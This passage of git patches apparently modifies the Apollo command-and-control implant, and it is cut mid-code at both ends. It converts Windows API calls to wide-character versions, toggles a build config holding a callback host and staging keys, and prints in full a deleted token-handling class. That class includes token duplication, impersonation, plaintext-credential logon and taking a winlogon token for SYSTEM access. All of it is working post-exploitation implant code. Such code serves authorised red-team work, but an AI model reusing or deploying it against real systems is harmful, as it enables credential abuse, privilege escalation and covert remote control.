{_agent.GetIdentityManager().GetCurrentPrimaryIdentity().Name}\n" + + $"Primary Identity: {_agent.GetIdentityManager().GetCurrentPrimaryIdentity().Name}\n" + $"Impersonation Identity: {logonInfo.Domain}\\{logonInfo.Username}", true); } else { resp = CreateTaskResponse( - $"Local Identity: {_agent.GetIdentityManager().GetCurrentPrimaryIdentity().Name}\n" + + $"Primary Identity: {_agent.GetIdentityManager().GetCurrentPrimaryIdentity().Name}\n" + $"Impersonation Identity: {_agent.GetIdentityManager().GetCurrentImpersonationIdentity().Name}", true); } // Your code here.. @@ -41,4 +41,4 @@ public override void Start() } } -#endif \ No newline at end of file +#endif From 3119f765641d7cd13869761be0808bc9563786f8 Mon Sep 17 00:00:00 2001 From: Jack Ullrich Date: Tue, 10 Mar 2026 13:54:30 -0400 Subject: [PATCH 3/6] Update definitions and encoding fixes. --- .../apollo/agent_code/Apollo/Apollo.csproj | 10 ++++-- .../apollo/apollo/agent_code/Apollo/Config.cs | 10 +++--- .../Management/Identity/IdentityManager.cs | 7 ++-- .../Classes/Impersonation/AccessToken.cs | 2 +- .../WindowsTypesAndAPIs/Advapi32APIs.cs | 15 ++++++-- .../KerberosTickets/KerberosHelpers.cs | 30 +++++++++++----- .../agent_code/KerberosTickets/WindowsAPI.cs | 21 ++++++----- .../agent_code/Process/SacrificialProcess.cs | 36 +++++++++---------- .../apollo/agent_code/Tasks/execute_coff.cs | 2 +- 9 files changed, 80 insertions(+), 53 deletions(-) diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Apollo.csproj b/Payload_Type/apollo/apollo/agent_code/Apollo/Apollo.csproj index f3d1a8a7..251e9024 100644 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Apollo.csproj +++ b/Payload_Type/apollo/apollo/agent_code/Apollo/Apollo.csproj @@ -1,4 +1,4 @@ - + net451 Exe @@ -37,4 +37,10 @@ - \ No newline at end of file + + + + + + + diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs b/Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs index 5f3c8ef0..b509c83d 100644 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs +++ b/Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs @@ -1,9 +1,9 @@ #define C2PROFILE_NAME_UPPER -//#define LOCAL_BUILD +#define LOCAL_BUILD #if LOCAL_BUILD -//#define HTTP +#define HTTP //#define WEBSOCKET //#define TCP //#define SMB @@ -46,7 +46,7 @@ public static class Config { "callback_interval", "1" }, { "callback_jitter", "0" }, { "callback_port", "80" }, - { "callback_host", "http://192.168.53.1" }, + { "callback_host", "http://172.29.111.173/" }, { "post_uri", "data" }, { "encrypted_exchange_check", "T" }, { "proxy_host", "" }, @@ -153,7 +153,7 @@ public static class Config public static Dictionary IngressProfiles = new Dictionary(); #if LOCAL_BUILD #if HTTP - public static string StagingRSAPrivateKey = "wkskVa0wTi4E3EZ6bi9YyKpbHb01NNDgZ1BXnJJM5io="; + public static string StagingRSAPrivateKey = "q4sOxwc6YZe73yHndQFbaGDvPwLZifEVbi2YjkbAaCI="; #elif WEBSOCKET public static string StagingRSAPrivateKey = "Hl3IzCYy3io5QU70xjpYyCNrOmA84aWMZLkCwumrAFM="; #elif SMB @@ -162,7 +162,7 @@ public static class Config public static string StagingRSAPrivateKey = "Zq24zZvWPRGdWwEQ79JXcHunzvcOJaKLH7WtR+gLiGg="; #endif #if HTTP - public static string PayloadUUID = "b40195db-22e5-4f9f-afc5-2f170c3cc204"; + public static string PayloadUUID = "526518b1-a2fb-4144-981d-ca42b230df0b"; #elif WEBSOCKET public static string PayloadUUID = "7546e204-aae4-42df-b28a-ade1c13594d2"; #elif SMB diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Identity/IdentityManager.cs b/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Identity/IdentityManager.cs index 94fc4a4c..347f7f7e 100644 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Identity/IdentityManager.cs +++ b/Payload_Type/apollo/apollo/agent_code/Apollo/Management/Identity/IdentityManager.cs @@ -66,10 +66,11 @@ private delegate bool GetTokenInformation( private delegate IntPtr GetSidSubAuthorityCount(IntPtr pSid); private delegate IntPtr GetSidSubAuthority(IntPtr pSid, int nSubAuthority); + [UnmanagedFunctionPointer(CallingConvention.Winapi, CharSet = CharSet.Unicode)] private delegate bool LogonUserW( - string lpszUsername, - string lpszDomain, - string lpszPassword, + [MarshalAs(UnmanagedType.LPWStr)] string lpszUsername, + [MarshalAs(UnmanagedType.LPWStr)] string lpszDomain, + [MarshalAs(UnmanagedType.LPWStr)] string lpszPassword, LogonType dwLogonType, LogonProvider dwLogonProvider, out IntPtr phToken); diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Impersonation/AccessToken.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Impersonation/AccessToken.cs index 355dd2e6..de35916a 100644 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Impersonation/AccessToken.cs +++ b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Impersonation/AccessToken.cs @@ -144,7 +144,7 @@ private string GetTokenSource() if (src.SourceName == null) return string.Empty; - return Encoding.ASCII.GetString(src.SourceName).TrimEnd('\0'); + return Encoding.UTF8.GetString(src.SourceName).TrimEnd('\0'); } finally { diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/WindowsTypesAndAPIs/Advapi32APIs.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/WindowsTypesAndAPIs/Advapi32APIs.cs index bd8212f0..462a35d8 100644 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/WindowsTypesAndAPIs/Advapi32APIs.cs +++ b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Features/WindowsTypesAndAPIs/Advapi32APIs.cs @@ -1,17 +1,26 @@ -using System.Security.Principal; +using System.Runtime.InteropServices; +using System.Security.Principal; using ApolloInterop.Enums; using static ApolloInterop.Features.WindowsTypesAndAPIs.WinNTTypes; using static ApolloInterop.Features.WindowsTypesAndAPIs.LSATypes; using static ApolloInterop.Features.WindowsTypesAndAPIs.APIInteropTypes; + namespace ApolloInterop.Features.WindowsTypesAndAPIs; public class Advapi32APIs { public delegate NTSTATUS LsaOpenPolicy(HANDLE SystemName, HANDLE ObjectAttributes, ACCESS_MASK DesiredAccess, out HANDLE PolicyHandle); - public delegate bool GetTokenInformation( HANDLE tokenHandle, Win32.TokenInformationClass tokenInformationClass, HANDLE tokenInformation, int tokenInformationLength, out int returnLength); + public delegate bool GetTokenInformation(HANDLE tokenHandle, Win32.TokenInformationClass tokenInformationClass, HANDLE tokenInformation, int tokenInformationLength, out int returnLength); public delegate uint LsaNtStatusToWinError(NTSTATUS status); public delegate bool OpenProcessToken(HANDLE ProcessHandle, TokenAccessLevels DesiredAccess, out HANDLE TokenHandle); public delegate bool ImpersonateLoggedOnUser(HANDLE TokenHandle); public delegate bool AllocateLocallyUniqueId(out LUID luid); public delegate bool LogonUserA(HANDLE lpszUsername, HANDLE lpszDomain, HANDLE lpszPassword, Win32.LogonType dwLogonType, Win32.LogonProvider dwLogonProvider, out HANDLE phToken); -} \ No newline at end of file + public delegate bool LogonUserW( + [MarshalAs(UnmanagedType.LPWStr)] string lpszUsername, + [MarshalAs(UnmanagedType.LPWStr)] string lpszDomain, + [MarshalAs(UnmanagedType.LPWStr)] string lpszPassword, + Win32.LogonType dwLogonType, + Win32.LogonProvider dwLogonProvider, + out HANDLE phToken); +} diff --git a/Payload_Type/apollo/apollo/agent_code/KerberosTickets/KerberosHelpers.cs b/Payload_Type/apollo/apollo/agent_code/KerberosTickets/KerberosHelpers.cs index c2c7a494..bdd9a653 100644 --- a/Payload_Type/apollo/apollo/agent_code/KerberosTickets/KerberosHelpers.cs +++ b/Payload_Type/apollo/apollo/agent_code/KerberosTickets/KerberosHelpers.cs @@ -286,21 +286,33 @@ private static HANDLE CreateNewLogonSession() HANDLE tokenInfo = new(); try { - UNICODE_STRING userName = new(WindowsIdentity.GetCurrent().Name); - UNICODE_STRING logonDomainName = new(Environment.UserDomainName); - UNICODE_STRING password = new("password"); - HANDLE userNameHandle = new(userName); - HANDLE logonDomainNameHandle = new(logonDomainName); - HANDLE passwordHandle = new(password); - bool didLogon = WindowsAPI.LogonUserADelegate(userNameHandle, logonDomainNameHandle, passwordHandle, Win32.LogonType.LOGON32_LOGON_NEW_CREDENTIALS, Win32.LogonProvider.LOGON32_PROVIDER_WINNT50, out HANDLE token); - createdArtifacts.Add(Artifact.WindowsAPIInvoke("LogonUserA")); + string currentIdentity = WindowsIdentity.GetCurrent().Name; + string userName = currentIdentity; + string logonDomainName = Environment.UserDomainName; + + int domainSeparator = currentIdentity.IndexOf('\\'); + if (domainSeparator > 0 && domainSeparator < currentIdentity.Length - 1) + { + logonDomainName = currentIdentity.Substring(0, domainSeparator); + userName = currentIdentity.Substring(domainSeparator + 1); + } + + const string password = "password"; + bool didLogon = WindowsAPI.LogonUserWDelegate( + userName, + logonDomainName, + password, + Win32.LogonType.LOGON32_LOGON_NEW_CREDENTIALS, + Win32.LogonProvider.LOGON32_PROVIDER_WINNT50, + out HANDLE token); + createdArtifacts.Add(Artifact.WindowsAPIInvoke("LogonUserW")); if (!didLogon) { DebugHelp.DebugWriteLine($"Failed to create new logon session: {Marshal.GetLastWin32Error()}"); return new(); } - createdArtifacts.Add(Artifact.PlaintextLogon(userName.ToString())); + createdArtifacts.Add(Artifact.PlaintextLogon($"{logonDomainName}\\{userName}")); int tokenInfoSize = Marshal.SizeOf(); tokenInfo = (HANDLE)Marshal.AllocHGlobal(tokenInfoSize); diff --git a/Payload_Type/apollo/apollo/agent_code/KerberosTickets/WindowsAPI.cs b/Payload_Type/apollo/apollo/agent_code/KerberosTickets/WindowsAPI.cs index d638628e..45e398e9 100644 --- a/Payload_Type/apollo/apollo/agent_code/KerberosTickets/WindowsAPI.cs +++ b/Payload_Type/apollo/apollo/agent_code/KerberosTickets/WindowsAPI.cs @@ -1,4 +1,4 @@ -using ApolloInterop.Classes.Api; +using ApolloInterop.Classes.Api; using ApolloInterop.Features.WindowsTypesAndAPIs; using static KerberosTickets.KerberosTicketManager; @@ -8,29 +8,28 @@ public static class WindowsAPI { public static Secur32APIs.LsaConnectUntrusted LsaConnectUntrustedDelegate { get; private set; } public static Secur32APIs.LsaLookupAuthenticationPackage LsaLookupAuthenticationPackageDelegate { get; private set; } - + public static Secur32APIs.LsaCallAuthenticationPackage LsaCallAuthenticationPackageDelegate { get; private set; } public static Secur32APIs.LsaEnumerateLogonSessions LsaEnumerateLogonSessionsDelegate { get; private set; } public static Secur32APIs.LsaFreeReturnBuffer LsaFreeReturnBufferDelegate { get; private set; } public static Secur32APIs.LsaRegisterLogonProcess LsaRegisterLogonProcessDelegate { get; private set; } public static Secur32APIs.LsaDeregisterLogonProcess LsaDeregisterLogonProcessDelegate { get; private set; } - + public static Secur32APIs.LsaGetLogonSessionData LsaGetLogonSessionDataDelegate { get; private set; } - public static Advapi32APIs.GetTokenInformation GetTokenInformationDelegate { get; private set; } + public static Advapi32APIs.GetTokenInformation GetTokenInformationDelegate { get; private set; } public static NtdllAPIs.RtlMoveMemory RtlMoveMemoryDelegate { get; private set; } public static Advapi32APIs.LsaNtStatusToWinError LsaNtStatusToWinErrorDelegate { get; private set; } - + public static Kernel32APIs.OpenProcess OpenProcessDelegate { get; private set; } public static Advapi32APIs.OpenProcessToken OpenProcessTokenDelegate { get; private set; } public static Kernel32APIs.CloseHandle CloseHandleDelegate { get; private set; } public static Advapi32APIs.ImpersonateLoggedOnUser ImpersonateLoggedOnUserDelegate { get; private set; } - + public static Secur32APIs.LsaLogonUser LsaLogonUserDelegate { get; private set; } public static Advapi32APIs.AllocateLocallyUniqueId AllocateLocallyUniqueIdDelegate { get; private set; } public static Advapi32APIs.LogonUserA LogonUserADelegate { get; private set; } - - - + public static Advapi32APIs.LogonUserW LogonUserWDelegate { get; private set; } + public static void Initialize() { LsaConnectUntrustedDelegate = Agent.GetApi().GetLibraryFunction(Library.SECUR32, "LsaConnectUntrusted"); @@ -51,6 +50,6 @@ public static void Initialize() LsaLogonUserDelegate = Agent.GetApi().GetLibraryFunction(Library.SECUR32, "LsaLogonUser"); AllocateLocallyUniqueIdDelegate = Agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "AllocateLocallyUniqueId"); LogonUserADelegate = Agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "LogonUserA"); + LogonUserWDelegate = Agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "LogonUserW"); } - -} \ No newline at end of file +} diff --git a/Payload_Type/apollo/apollo/agent_code/Process/SacrificialProcess.cs b/Payload_Type/apollo/apollo/agent_code/Process/SacrificialProcess.cs index 2e44f83e..26f899d3 100644 --- a/Payload_Type/apollo/apollo/agent_code/Process/SacrificialProcess.cs +++ b/Payload_Type/apollo/apollo/agent_code/Process/SacrificialProcess.cs @@ -59,9 +59,9 @@ public enum LogonFlags #region Delegate Typedefs #region ADVAPI32 private delegate bool LogonUser( - String lpszUserName, - String lpszDomain, - String lpszPassword, + [MarshalAs(UnmanagedType.LPWStr)] String lpszUserName, + [MarshalAs(UnmanagedType.LPWStr)] String lpszDomain, + [MarshalAs(UnmanagedType.LPWStr)] String lpszPassword, LogonType dwLogonType, LogonProvider dwLogonProvider, out IntPtr phToken); @@ -70,14 +70,14 @@ private delegate bool LogonUser( private delegate bool CreateProcessAsUser ( IntPtr hToken, - String lpApplicationName, - String lpCommandLine, + [MarshalAs(UnmanagedType.LPWStr)] String lpApplicationName, + [MarshalAs(UnmanagedType.LPWStr)] String lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, Boolean bInheritHandles, CreateProcessFlags dwCreationFlags, IntPtr lpEnvironment, - String lpCurrentDirectory, + [MarshalAs(UnmanagedType.LPWStr)] String lpCurrentDirectory, ref StartupInfoEx lpStartupInfo, out Win32.ProcessInformation lpProcessInformation ); @@ -106,8 +106,8 @@ private delegate bool CreateProcessWithTokenW( #endregion #region KERNEL32 #if SERVER2012_COMPATIBLE - private delegate IntPtr GetModuleHandleA( - [MarshalAs(UnmanagedType.LPStr)]string lpModuleName); + private delegate IntPtr GetModuleHandleW( + [MarshalAs(UnmanagedType.LPWStr)] string lpModuleName); private delegate IntPtr GetProcAddress( IntPtr hModule, @@ -147,15 +147,15 @@ private delegate bool DuplicateHandle( bool bInheritHandle, DuplicateOptions dwOptions ); - private delegate bool CreateProcessA( - string lpApplicationName, - string lpCommandLine, + private delegate bool CreateProcessW( + [MarshalAs(UnmanagedType.LPWStr)] string lpApplicationName, + [MarshalAs(UnmanagedType.LPWStr)] string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, CreateProcessFlags dwCreationFlags, IntPtr lpEnvironment, - string lpCurrentDirectory, + [MarshalAs(UnmanagedType.LPWStr)] string lpCurrentDirectory, ref StartupInfoEx lpStartupInfo, out Win32.ProcessInformation lpProcessInformation); private delegate UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilli); @@ -170,7 +170,7 @@ private delegate bool GetExitCodeProcess( private delegate bool DestroyEnvironmentBlock(IntPtr lpEnvironment); #endregion #if SERVER2012_COMPATIBLE - private GetModuleHandleA _pGetModuleHandleA; + private GetModuleHandleW _pGetModuleHandleW; private GetProcAddress _pGetProcAddress; #endif private CreateProcessAsUser _pCreateProcessAsUser; @@ -186,7 +186,7 @@ private delegate bool GetExitCodeProcess( private DuplicateHandle _pDuplicateHandle; private CreateEnvironmentBlock _pCreateEnvironmentBlock; private DestroyEnvironmentBlock _pDestroyEnvironmentBlock; - private CreateProcessA _pCreateProcessA; + private CreateProcessW _pCreateProcessW; private WaitForSingleObject _pWaitForSingleObject; private GetExitCodeProcess _pGetExitCodeProcess; private LogonUser _pLogonUser; @@ -209,10 +209,10 @@ public SacrificialProcess( _pCreateProcessWithTokenW = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "CreateProcessWithTokenW"); #if SERVER2012_COMPATIBLE - _pGetModuleHandleA = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "GetModuleHandleA"); + _pGetModuleHandleW = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "GetModuleHandleW"); _pGetProcAddress = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "GetProcAddress"); - IntPtr hKernel32 = _pGetModuleHandleA("kernel32.dll"); + IntPtr hKernel32 = _pGetModuleHandleW("kernel32.dll"); IntPtr pInitializeProcThreadAttributeList = _pGetProcAddress(hKernel32, "InitializeProcThreadAttributeList"); IntPtr pSetHandleInfo = _pGetProcAddress(hKernel32, "SetHandleInformation"); @@ -238,7 +238,7 @@ public SacrificialProcess( _pDeleteProcThreadAttributeList = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "DeleteProcThreadAttributeList"); #endif - _pCreateProcessA = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "CreateProcessA"); + _pCreateProcessW = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "CreateProcessW"); _pCreatePipe = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "CreatePipe"); _pOpenProcess = _agent.GetApi().GetLibraryFunction(Library.KERNEL32, "OpenProcess"); OpenProcessTokenDelegate = _agent.GetApi().GetLibraryFunction(Library.ADVAPI32, "OpenProcessToken"); @@ -532,7 +532,7 @@ public override bool Start() bRet = InitializeStartupEnvironment(_agent.GetIdentityManager().GetCurrentPrimaryIdentity().Token); if (bRet) { - bRet = _pCreateProcessA( + bRet = _pCreateProcessW( null, CommandLine, IntPtr.Zero, diff --git a/Payload_Type/apollo/apollo/agent_code/Tasks/execute_coff.cs b/Payload_Type/apollo/apollo/agent_code/Tasks/execute_coff.cs index 030f2a0d..661a598a 100644 --- a/Payload_Type/apollo/apollo/agent_code/Tasks/execute_coff.cs +++ b/Payload_Type/apollo/apollo/agent_code/Tasks/execute_coff.cs @@ -1056,7 +1056,7 @@ private static void ExecuteRunCoff(COFFExecutionState executionState) { byte[] outDataBytes = new byte[outdataSize]; Marshal.Copy(outdata, outDataBytes, 0, outdataSize); - executionState.Output = Encoding.Default.GetString(outDataBytes); + executionState.Output = Encoding.UTF8.GetString(outDataBytes); DebugHelp.DebugWriteLine($"Retrieved {outdataSize} bytes of output data"); } else From e9c2b6947cdb76bb2d49122db339b6be637cede1 Mon Sep 17 00:00:00 2001 From: Jack Ullrich Date: Wed, 11 Mar 2026 15:58:14 -0400 Subject: [PATCH 4/6] Revert config. Remove helpers to keep minimal. --- .../apollo/apollo/agent_code/Apollo/Config.cs | 10 +- .../Classes/Impersonation/AccessToken.cs | 462 ------------------ .../Classes/Impersonation/SafeTokenHandle.cs | 24 - 3 files changed, 5 insertions(+), 491 deletions(-) delete mode 100644 Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Impersonation/AccessToken.cs delete mode 100644 Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Impersonation/SafeTokenHandle.cs diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs b/Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs index b509c83d..5f3c8ef0 100644 --- a/Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs +++ b/Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs @@ -1,9 +1,9 @@ #define C2PROFILE_NAME_UPPER -#define LOCAL_BUILD +//#define LOCAL_BUILD #if LOCAL_BUILD -#define HTTP +//#define HTTP //#define WEBSOCKET //#define TCP //#define SMB @@ -46,7 +46,7 @@ public static class Config { "callback_interval", "1" }, { "callback_jitter", "0" }, { "callback_port", "80" }, - { "callback_host", "http://172.29.111.173/" }, + { "callback_host", "http://192.168.53.1" }, { "post_uri", "data" }, { "encrypted_exchange_check", "T" }, { "proxy_host", "" }, @@ -153,7 +153,7 @@ public static class Config public static Dictionary IngressProfiles = new Dictionary(); #if LOCAL_BUILD #if HTTP - public static string StagingRSAPrivateKey = "q4sOxwc6YZe73yHndQFbaGDvPwLZifEVbi2YjkbAaCI="; + public static string StagingRSAPrivateKey = "wkskVa0wTi4E3EZ6bi9YyKpbHb01NNDgZ1BXnJJM5io="; #elif WEBSOCKET public static string StagingRSAPrivateKey = "Hl3IzCYy3io5QU70xjpYyCNrOmA84aWMZLkCwumrAFM="; #elif SMB @@ -162,7 +162,7 @@ public static class Config public static string StagingRSAPrivateKey = "Zq24zZvWPRGdWwEQ79JXcHunzvcOJaKLH7WtR+gLiGg="; #endif #if HTTP - public static string PayloadUUID = "526518b1-a2fb-4144-981d-ca42b230df0b"; + public static string PayloadUUID = "b40195db-22e5-4f9f-afc5-2f170c3cc204"; #elif WEBSOCKET public static string PayloadUUID = "7546e204-aae4-42df-b28a-ade1c13594d2"; #elif SMB diff --git a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Impersonation/AccessToken.cs b/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Impersonation/AccessToken.cs deleted file mode 100644 index de35916a..00000000 --- a/Payload_Type/apollo/apollo/agent_code/ApolloInterop/Classes/Impersonation/AccessToken.cs +++ /dev/null @@ -1,462 +0,0 @@ -using ApolloInterop.Structs; -using ApolloInterop.Structs.ApolloStructs; -using ApolloInterop.Structs.MythicStructs; -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Linq; -using System.Runtime.InteropServices; -using System.Security.Principal; -using System.Text; -using static ApolloInterop.Constants.Win32; -using static ApolloInterop.Enums.Win32; -using static ApolloInterop.Features.WindowsTypesAndAPIs.APIInteropTypes; -using static ApolloInterop.Features.WindowsTypesAndAPIs.WinNTTypes; -using static ApolloInterop.Structs.Win32; - -namespace ApolloInterop.Classes.Impersonation -{ - public sealed class AccessToken : IDisposable - { - public SafeTokenHandle TokenHandle { get; } - public ApolloLogonInformation? SourceCredentials { get; } - - [StructLayout(LayoutKind.Sequential)] - private struct TOKEN_USER - { - public SID_AND_ATTRIBUTES User; - } - - [StructLayout(LayoutKind.Sequential)] - private struct LUID_AND_ATTRIBUTES - { - public LUID Luid; - public PrivilegeAttributes Attributes; - } - - public bool IsNetworkOnly => GetTokenSource() == "Seclogo"; - - public bool CanImpersonate => !IsNetworkOnly && - HasPrivilege(TokenPrivilege.SeImpersonatePrivilege, requireEnabled: true); - - public AccessToken(SafeTokenHandle handle) - : this(handle, null) - { - - } - - public AccessToken(SafeTokenHandle handle, ApolloLogonInformation? creds) - { - TokenHandle = handle ?? throw new ArgumentNullException(nameof(handle)); - - if (TokenHandle.IsInvalid) - throw new ArgumentException("Invalid token handle.", nameof(handle)); - - SourceCredentials = creds; - } - - public void Dispose() - { - TokenHandle?.Dispose(); - } - - public string GetUserPrincipalName() - { - IntPtr info = IntPtr.Zero; - int length = 0; - - try - { - GetTokenInformation(TokenHandle, - TokenInformationClass.TokenUser, - IntPtr.Zero, - 0, - out length); - - if (length == 0) - throw new Win32Exception(Marshal.GetLastWin32Error()); - - info = Marshal.AllocHGlobal(length); - - if (!GetTokenInformation(TokenHandle, - TokenInformationClass.TokenUser, - info, - length, - out length)) - throw new Win32Exception(Marshal.GetLastWin32Error()); - - TOKEN_USER tu = (TOKEN_USER)Marshal.PtrToStructure(info, typeof(TOKEN_USER)); - - StringBuilder name = new StringBuilder(256); - StringBuilder domain = new StringBuilder(256); - int nameLen = name.Capacity; - int domainLen = domain.Capacity; - int peUse; - - if (!LookupAccountSid(null, - tu.User.Sid, - name, - ref nameLen, - domain, - ref domainLen, - out peUse)) - { - throw new Win32Exception(Marshal.GetLastWin32Error()); - } - - return domain.Length > 0 ? $"{domain}\\{name}" : name.ToString(); - } - finally - { - if (info != IntPtr.Zero) - Marshal.FreeHGlobal(info); - } - } - - private string GetTokenSource() - { - IntPtr info = IntPtr.Zero; - int length = 0; - - try - { - GetTokenInformation(TokenHandle, - TokenInformationClass.TokenSource, - IntPtr.Zero, - 0, - out length); - - if (length == 0) - return string.Empty; - - info = Marshal.AllocHGlobal(length); - - if (!GetTokenInformation(TokenHandle, - TokenInformationClass.TokenSource, - info, - length, - out length)) - return string.Empty; - - TOKEN_SOURCE src = (TOKEN_SOURCE)Marshal.PtrToStructure( - info, typeof(TOKEN_SOURCE)); - - if (src.SourceName == null) - return string.Empty; - - return Encoding.UTF8.GetString(src.SourceName).TrimEnd('\0'); - } - finally - { - if (info != IntPtr.Zero) - Marshal.FreeHGlobal(info); - } - } - - private string LookupPrivilegeName(LUID luid) - { - int len = 0; - LookupPrivilegeNameW(null, ref luid, null, ref len); - - var sb = new StringBuilder(len + 1); - - if (LookupPrivilegeNameW(null, ref luid, sb, ref len)) - return sb.ToString(); - - return string.Empty; - } - - private IEnumerable<(string Name, PrivilegeAttributes Attributes)> EnumerateRawPrivileges() - { - IntPtr info = IntPtr.Zero; - int length = 0; - - try - { - GetTokenInformation( - TokenHandle, - TokenInformationClass.TokenPrivileges, - IntPtr.Zero, - 0, - out length); - - if (length == 0) - yield break; - - info = Marshal.AllocHGlobal(length); - - if (!GetTokenInformation( - TokenHandle, - TokenInformationClass.TokenPrivileges, - info, - length, - out length)) - yield break; - - uint count = (uint)Marshal.ReadInt32(info); - IntPtr ptr = new IntPtr(info.ToInt64() + sizeof(uint)); - - for (int i = 0; i < count; i++) - { - var la = Marshal.PtrToStructure(ptr); - string name = LookupPrivilegeName(la.Luid); - yield return (name, la.Attributes); - - ptr = new IntPtr(ptr.ToInt64() + Marshal.SizeOf(typeof(LUID_AND_ATTRIBUTES))); - } - } - finally - { - if (info != IntPtr.Zero) - Marshal.FreeHGlobal(info); - } - } - - public bool HasPrivilege(TokenPrivilege privilege, bool requireEnabled = true) - { - string target = privilege.ToString(); - - foreach (var (name, attrs) in EnumerateRawPrivileges()) - { - if (string.Equals(name, target, StringComparison.OrdinalIgnoreCase)) - { - if (!requireEnabled) - return true; - - return (attrs & PrivilegeAttributes.SE_PRIVILEGE_ENABLED) != 0; - } - } - - return false; - } - - public IEnumerable<(TokenPrivilege Privilege, bool Enabled)> EnumeratePrivileges() - { - foreach (var (name, attrs) in EnumerateRawPrivileges()) - { - bool enabled = (attrs & PrivilegeAttributes.SE_PRIVILEGE_ENABLED) != 0; - - if (Enum.TryParse(name, ignoreCase: true, out TokenPrivilege parsed)) - { - yield return (parsed, enabled); - } - else - { - yield return (TokenPrivilege.Unknown, enabled); - } - } - } - - public AccessToken Duplicate( - TokenType tokenType = TokenType.TokenImpersonation, - TokenAccessLevels access = TokenAccessLevels.MaximumAllowed, - TokenImpersonationLevel level = TokenImpersonationLevel.Impersonation) - { - var result = DuplicateTokenEx( - TokenHandle, - access, - IntPtr.Zero, - level, - tokenType, - out SafeTokenHandle dup - ); - - if (!result) - { - throw new Win32Exception(Marshal.GetLastWin32Error()); - } - - return new AccessToken(dup); - } - - public IntegrityLevel GetIntegrityLevel() - { - int length = 0; - - GetTokenInformation( - TokenHandle, - TokenInformationClass.TokenIntegrityLevel, - IntPtr.Zero, - 0, - out length - ); - - if (length == 0 && Marshal.GetLastWin32Error() != Error.ERROR_INSUFFICIENT_BUFFER) - return 0; - - IntPtr buffer = Marshal.AllocHGlobal(length); - try - { - if (!GetTokenInformation( - TokenHandle, - TokenInformationClass.TokenIntegrityLevel, - buffer, - length, - out length)) - return 0; - - var tml = Marshal.PtrToStructure(buffer); - IntPtr pCount = GetSidSubAuthorityCount(tml.Label.Sid); - int subAuthCount = Marshal.ReadByte(pCount); - IntPtr pRid = GetSidSubAuthority(tml.Label.Sid, subAuthCount - 1); - int rid = Marshal.ReadInt32(pRid); - - if (rid < SECURITY_MANDATORY_LOW_RID) - return 0; - else if (rid < SECURITY_MANDATORY_MEDIUM_RID) - return (IntegrityLevel)1; - else if (rid >= SECURITY_MANDATORY_MEDIUM_RID && rid < SECURITY_MANDATORY_HIGH_RID) - return (IntegrityLevel)2; - else if (rid >= SECURITY_MANDATORY_HIGH_RID && rid < SECURITY_MANDATORY_SYSTEM_RID) - return (IntegrityLevel)3; - else if (rid >= SECURITY_MANDATORY_SYSTEM_RID) - return (IntegrityLevel)4; - - return 0; - } - finally - { - Marshal.FreeHGlobal(buffer); - } - } - - public override string ToString() - { - string user = GetUserPrincipalName(); - IntegrityLevel il = GetIntegrityLevel(); - - return $"User: {user}, IL: {il}, NetOnly: {IsNetworkOnly}, CanImpersonate: {CanImpersonate}"; - } - - public static AccessToken FromCurrentProcess() - { - IntPtr hProcess = System.Diagnostics.Process.GetCurrentProcess().Handle; - - if (!OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, out SafeTokenHandle hTok)) - throw new Win32Exception(Marshal.GetLastWin32Error()); - - return new AccessToken(hTok); - } - - public static AccessToken FromCurrentThreadOrProcess() - { - if (OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, true, out SafeTokenHandle hTok)) - return new AccessToken(hTok); - - int err = Marshal.GetLastWin32Error(); - - if (err != Error.ERROR_NO_TOKEN) - throw new Win32Exception(err); - - return FromCurrentProcess(); - } - - public static AccessToken FromLogonUser(ApolloLogonInformation info) - { - if (!LogonUserW( - info.Username, - info.Domain, - info.Password, - info.NetOnly ? LogonType.LOGON32_LOGON_NEW_CREDENTIALS : LogonType.LOGON32_LOGON_INTERACTIVE, - LogonProvider.LOGON32_PROVIDER_WINNT50, - out SafeTokenHandle hTok)) - throw new Win32Exception(Marshal.GetLastWin32Error()); - - return new AccessToken(hTok, info); - } - - public static AccessToken FromSystemByProcessName(string processName = "winlogon") - { - var procs = System.Diagnostics.Process.GetProcessesByName(processName); - - if (procs.Length == 0) - throw new InvalidOperationException($"{processName} not found."); - - IntPtr hProcess = 